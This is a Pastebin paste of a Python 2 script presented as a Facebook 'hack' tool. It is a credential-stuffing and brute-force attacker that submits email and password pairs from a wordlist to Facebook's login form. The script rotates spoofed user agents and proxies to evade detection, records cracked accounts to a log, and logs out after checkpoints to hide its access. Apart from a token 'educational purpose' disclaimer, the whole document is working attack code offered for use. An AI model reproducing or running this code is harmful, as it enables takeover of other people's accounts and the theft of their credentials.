Advertisement
johnmahugu

python - facebook hack script

Jul 6th, 2015
10,422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.19 KB | None | 0 0
  1. # FOR EDUCATIONAL PURPOSE ONLY
  2. #!/usr/bin/python
  3. # This is facebook hack tools
  4. # This was written for educational purpose and pentest only. Use it at your own risk.
  5. # Author will not be responsible for any damage !!
  6. # Toolname      : facebookhack.py
  7. # Version       : 1.0
  8. # Date          : Friday Jan  11:41:05 EST
  9. # https://www.facebook.com/groups/anonymousddosers/
  10. #
  11.  
  12.  
  13. import re
  14. import os
  15. import sys
  16. import random
  17. import warnings
  18. import time
  19. try:
  20.         import mechanize
  21. except ImportError:
  22.         print "[*] Please install mechanize python module first"
  23.         sys.exit(1)
  24. except KeyboardInterrupt:
  25.         print "\n[*] Exiting program...\n"
  26.         sys.exit(1)
  27. try:
  28.         import cookielib
  29. except ImportError:
  30.         print "[*] Please install cookielib python module first"
  31.         sys.exit(1)
  32. except KeyboardInterrupt:
  33.         print "\n[*] Exiting program...\n"
  34.         sys.exit(1)
  35.  
  36. warnings.filterwarnings(action="ignore", message=".*gzip transfer encoding is experimental!", category=UserWarning)
  37.  
  38. # define variable
  39. __programmer__  = "mmmuhahaha_ <hehe.haha@gmail.com>"
  40. __version__     = "1.0"
  41. verbose         = False
  42. useproxy        = False
  43. usepassproxy    = False
  44. log             = 'fbhacker.log'
  45. file            = open(log, "a")
  46. success         = 'home_edit_profile'
  47. checkpoint      = 'checkpoint'
  48. oldpass         = 'You entered an old password'
  49. fblogin         = 'https://login.facebook.com/login.php?login_attempt=1'
  50. # some cheating ..
  51. useragent    = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
  52.                 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
  53.                 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
  54.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
  55.                 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
  56.                 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
  57.                 'Microsoft Internet Explorer/4.0b1 (Windows 95)',
  58.                 'Opera/8.00 (Windows NT 5.1; U; en)',
  59.                 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
  60.                 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
  61.                 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
  62.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
  63.                 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
  64.                 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'
  65.                 ]
  66. facebook        = '''
  67. __               _                 _
  68. / _|             | |               | |
  69. | |_ __ _  ___ ___| |__   ___   ___ | | __
  70. |  _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
  71. | || (_| | (_|  __/ |_) | (_) | (_) |   <
  72. |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\\
  73.                                      bruteforcer...
  74.  
  75. Programmer : %s
  76. Version    : %s''' % (__programmer__, __version__)
  77. option          = '''
  78. Usage  : %s [options]
  79. Option : -w, --wordlist         <filename>      |   Wordlist used for bruteforcing
  80.       -v, --verbose                          |   Set %s will be verbose
  81.       -p, --proxy            <host:port>     |   Set http proxy will be use
  82.       -k, --usernameproxy    <username>      |   Set username at proxy will be use
  83.       -i, --passproxy        <password>      |   Set password at proxy will be use
  84.       -l, --log              <filename>      |   Specify output filename (default : fbbruteforcer.log)
  85.       -h, --help             <help>          |   Print this help
  86.  
  87. Example : %s -w wordlist.txt"
  88.  
  89. P.S : add "&" to run in the background
  90. ''' % (sys.argv[0], sys.argv[0], sys.argv[0])
  91. hme             = '''
  92. Usage : %s [option]
  93.      -h or --help for get help
  94.      ''' % sys.argv[0]
  95.  
  96. def helpme():
  97.         print facebook
  98.         print option
  99.         file.write(facebook)
  100.         file.write(option)
  101.         sys.exit(1)
  102.  
  103. def helpmee():
  104.         print facebook
  105.         print hme
  106.         file.write(facebook)
  107.         file.write(hme)
  108.         sys.exit(1)
  109.  
  110. for arg in sys.argv:
  111.         try:
  112.                 if arg.lower() == '-u' or arg.lower() == '--user':
  113.                         username = sys.argv[int(sys.argv[1:].index(arg))+2]
  114.                 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  115.                         wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  116.                 elif arg.lower() == '-l' or arg.lower() == '--log':
  117.                         log = sys.argv[int(sys.argv[1:].index(arg))+2]
  118.                 elif arg.lower() == '-p' or arg.lower() == '--proxy':
  119.                         useproxy = True
  120.                         proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
  121.                 elif arg.lower() == '-k' or arg.lower() == '--userproxy':
  122.                         usepassproxy = True
  123.                         usw = sys.argv[int(sys.argv[1:].index(arg))+2]
  124.                 elif arg.lower() == '-i' or arg.lower() == '--passproxy':
  125.                         usepassproxy = True
  126.                         usp = sys.argv[int(sys.argv[1:].index(arg))+2]
  127.                 elif arg.lower() == '-v' or arg.lower() == '--verbose':
  128.                         verbose = True
  129.                 elif arg.lower() == '-h' or arg.lower() == '--help':
  130.                         helpme()
  131.                 elif len(sys.argv) <= 1:
  132.                         helpmee()
  133.         except IOError:
  134.                 helpme()
  135.         except NameError:
  136.                 helpme()
  137.         except IndexError:
  138.                 helpme()
  139.  
  140. def bruteforce(word):
  141.         try:
  142.                 pos = word.find("::")
  143.                 userEmail = word[0:pos]
  144.                 word = word[pos+len("::"):len(word)]
  145.                
  146.                 print("userEmail: " + userEmail )
  147.                 print("password: " + word )
  148.                 file.write("[*] Trying " + userEmail + "::" + word + "\n" )
  149.                 sys.stdout.flush()
  150.                 rch = random.choice(useragent)
  151.                 br.addheaders = [('User-agent', rch)]
  152.                 # print("User Agent: " + rch )
  153.                 opensite = br.open(fblogin)
  154.  
  155.                 # To show and print all forms name
  156.                 # for form in br.forms():
  157.                 #      print "Form name:", form.name
  158.                 #      print form
  159.  
  160.                 # To show all control elements in the form
  161.                 # br.form = list(br.forms())[0]
  162.                 # for control in br.form.controls:
  163.                 #      print control
  164.                 #      print "type=%s, name=%s value=%s" % (control.type, control.name, br[control.name])
  165.  
  166.                 # To dump cookies data being sent and received
  167.                 # dump();
  168.  
  169.                 # Release email account from autotext fill
  170.                 # If email still auto-filled on login form, this script would not work as expected, so we need to release it
  171.  
  172.                 NotMe = "notme_cuid"
  173.                 for link in br.links():
  174.                         if (NotMe in link.url):
  175.                                 request = br.click_link(link)
  176.                                 response = br.follow_link(link)
  177.                                 # print response.geturl()
  178.  
  179.                 br.select_form(nr=0)
  180.  
  181.                 br.form = list(br.forms())[0]
  182.                 br.form['email'] = userEmail
  183.                 br.form['pass'] = word
  184.                 br.submit()
  185.                 response = br.response().read()
  186.  
  187.                 if verbose:
  188.                         print response
  189.                 if success in response:
  190.                         print "\n\n[*] Logging in success..."
  191.                         print "[*] userEmail : %s" % (userEmail)
  192.                         print "[*] Password : %s\n" % (word)
  193.                         file.write("\n[*] Logging in success...")
  194.                         file.write("\n[*] userEmail : %s" % (userEmail))
  195.                         file.write("\n[*] Password : %s\n\n" % (word))
  196.  
  197.                         # After successful login, force to Log Out (to clear the cookies & session - important!)
  198.                         for form in br.forms():
  199.                                 if form.attrs['id'] == 'logout_form':
  200.                                         br.form = form
  201.                                         br.submit()
  202.                 elif checkpoint in response:
  203.                         print "\n\n[*] Logging in success...but stuck on checkpoint! Victim maybey has been noticed"
  204.                         print "[*] userEmail : %s" % (userEmail)
  205.                         print "[*] Password : %s\n" % (word)
  206.                         file.write("\n[*] Logging in success...but stuck on checkpoint! Victim maybey has been noticed")
  207.                         file.write("\n[*] userEmail : %s" % (userEmail))
  208.                         file.write("\n[*] Password : %s\n\n" % (word))
  209.  
  210.                         # In checkpoint, this account may has been logged in, so we need to Log it Out after successful login
  211.                         LogOut = "logout.php"
  212.                         for link in br.links():
  213.                                 if (LogOut in link.url):
  214.                                         request = br.click_link(link)
  215.                                         response = br.follow_link(link)
  216.                                         # print response.geturl()
  217.                                         # print "This account has been logged out"
  218.                                 # else:
  219.                                 #        print "Can not click Log Out link"
  220.                        
  221.         except KeyboardInterrupt:
  222.                 print "\n[*] Exiting program...\n"
  223.                 sys.exit(1)
  224.         except mechanize._mechanize.FormNotFoundError:
  225.                 print "\n[*] Form Not Found\n"
  226.                 file.write("\n[*] Form Not Found\n")
  227.                 sys.exit(1)
  228.         except mechanize._form.ControlNotFoundError:
  229.                 print "\n[*] Control Not Found\n"
  230.                 file.write("\n[*] Control Not Found\n")
  231.                 sys.exit(1)
  232.  
  233. # Function to Dump Cookies Data
  234. # def dump():
  235. #       for cookie in cj:
  236. #               print cookie.name, cookie.value
  237.  
  238. def releaser():
  239.         global word
  240.         for word in words:
  241.                 bruteforce(word.replace("\n",""))
  242.  
  243. def main():
  244.         global br
  245.         global words
  246.         # Uncomment this variable if you want to enable dump()
  247.         # global cj
  248.         try:
  249.                 br = mechanize.Browser()
  250.                 cj = cookielib.LWPCookieJar()
  251.                 br.set_cookiejar(cj)
  252.                 br.set_handle_equiv(True)
  253.                 br.set_handle_gzip(True)
  254.                 br.set_handle_redirect(True)
  255.                 br.set_handle_referer(True)
  256.                 br.set_handle_robots(False)
  257.                 br.set_debug_http(False)
  258.                 br.set_debug_redirects(False)
  259.                 br.set_debug_redirects(False)
  260.                 br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  261.                 if useproxy:
  262.                         br.set_proxies({"http": proxy})
  263.                 if usepassproxy:
  264.                         br.add_proxy_password(usw, usp)
  265.                 if verbose:
  266.                         br.set_debug_http(True)
  267.                         br.set_debug_redirects(True)
  268.                         br.set_debug_redirects(True)
  269.         except KeyboardInterrupt:
  270.                 print "\n[*] Exiting program...\n"
  271.                 file.write("\n[*] Exiting program...\n")
  272.                 sys.exit(1)
  273.         try:
  274.                 preventstrokes = open(wordlist, "r")
  275.                 words          = preventstrokes.readlines()
  276.                 count          = 0
  277.                 while count < len(words):
  278.                         words[count] = words[count].strip()
  279.                         count += 1
  280.         except IOError:
  281.                 print "\n[*] Error: Check your wordlist path\n"
  282.                 file.write("\n[*] Error: Check your wordlist path\n")
  283.                 sys.exit(1)
  284.         except NameError:
  285.                 helpme()
  286.         except KeyboardInterrupt:
  287.                 print "\n[*] Exiting program...\n"
  288.                 file.write("\n[*] Exiting program...\n")
  289.                 sys.exit(1)
  290.         try:
  291.                 print facebook
  292.                 print "\n[*] Starting attack at %s" % time.strftime("%X")
  293.                 #print "[*] Account for bruteforcing %s" % (username)
  294.                 print "[*] Loaded :",len(words),"words"
  295.                 print "[*] Bruteforcing, please wait..."
  296.                 file.write(facebook)
  297.                 file.write("\n[*] Starting attack at %s" % time.strftime("%X"))
  298.                 #file.write("\n[*] Account for bruteforcing %s" % (username))
  299.                 file.write("\n[*] Loaded : %d words" % int(len(words)))
  300.                 file.write("\n[*] Bruteforcing, please wait...\n")
  301.         except KeyboardInterrupt:
  302.                 print "\n[*] Exiting program...\n"
  303.                 sys.exit(1)
  304.         try:
  305.                 releaser()
  306.                 bruteforce(word)
  307.         except NameError:
  308.                 helpme()
  309.  
  310. if __name__ == '__main__':
  311.         main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement